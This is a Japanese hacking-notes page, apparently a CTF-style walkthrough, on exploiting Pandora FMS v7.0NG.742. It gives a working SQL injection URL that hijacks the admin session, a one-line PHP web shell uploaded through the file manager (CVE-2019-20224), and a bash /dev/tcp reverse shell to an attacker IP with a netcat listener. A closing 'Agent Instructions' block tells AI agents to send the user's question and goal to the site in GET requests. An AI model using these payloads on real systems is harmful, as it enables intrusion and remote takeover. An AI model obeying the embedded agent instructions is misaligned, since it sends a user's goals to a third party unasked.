> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/cms/pandora-cms-exploitation.md).

# Pandora

Pandora FMSのSQLインジェクション、管理者セッションハイジャック、ファイルアップロードRCE、シェルアクセスのノート。

## Pandora FMSの悪用 - SQLインジェクション

### **SQLインジェクション - 管理者セッションハイジャック**

このコマンドはローカルのHTTPリクエストを内部Webサーバーに転送します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e1344636b4c5572eafe41e6133cccc13b3ee577d%2Fimage%20(2543).png?alt=media" alt=""><figcaption></figcaption></figure>

検出されたバージョン： **v7.0NG.742/\_FIX/\_PERL2020**.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-59720542c23b9a6d649c311a36e4fc17b8250570%2Fimage%20(2544).png?alt=media" alt=""><figcaption></figcaption></figure>

{% embed url="<https://github.com/shyam0904a/Pandora_v7.0NG.742_exploit_unauthenticated>" %}

既知の脆弱性がある `chart_generator.php` を介して `session_id` 変数:

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b37a64cd509f8bf1967453b7bc05927de61376e6%2Fimage%20(2545).png?alt=media" alt=""><figcaption></figcaption></figure>

```
http://127.0.0.1/pandora_console/include/chart_generator.php?session_id=1'
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dc8b2f7ae80950be216a7707ea3923d7a06705f4%2Fimage%20(2546).png?alt=media" alt=""><figcaption></figcaption></figure>

管理者セッションを乗っ取るためにSQLインジェクションを実行します：

<pre class="language-bash"><code class="lang-bash"><strong>http://127.0.0.1/pandora_console/include/chart_generator.php?session_id=%27%20union%20SELECT%201,2,%27id_usuario|s:5:%22admin%22;%27%20as%20data%20--%20SgGO
</strong></code></pre>

* このコマンドは管理者セッションのCookieを返します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7bb623affcfbdcdad5a9061b59c97ad0e48e8586%2Fimage%20(2547).png?alt=media" alt=""><figcaption></figcaption></figure>

Cookieを使用して管理者としてダッシュボードにアクセスします。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f42b8d7935a165b586e1b12dddb2e69085883240%2Fimage%20(2549).png?alt=media" alt=""><figcaption></figcaption></figure>

### **リモートコード実行（RCE） - /\[CVE-2019-20224]**

へ移動 **ファイルマネージャ**.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-72de89fc96f3a27ae3043a7eeee3ff78d3ff73f6%2Fimage%20(2551).png?alt=media" alt=""><figcaption></figcaption></figure>

悪意のあるPHPファイルをアップロードします：

<pre class="language-php"><code class="lang-php"><strong>&#x3C;?php system($_GET['cmd']); ?>
</strong></code></pre>

* ファイルは次の場所でアクセスできます `http://127.0.0.1/pandora_console/images/cmd.php`.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-245aa646e3e8dbd7bf64ac94af897aad24d448c5%2Fimage%20(2552).png?alt=media" alt=""><figcaption></figcaption></figure>

リバースシェルを実行します：

* ローカルでリスナーを開始します：

```bash
nc -nvlp 443
```

* 対象サーバーでコマンドを実行します：

```bash
bash -c "bash -i >%26 /dev/tcp/10.10.14.26/443 0>%261"
```

ユーザーとしてアクセスを取得します `matt`.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7a2a2cc786a2aab06e86d9fb95a0c41455947bc3%2Fimage%20(2553).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/cms/pandora-cms-exploitation.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
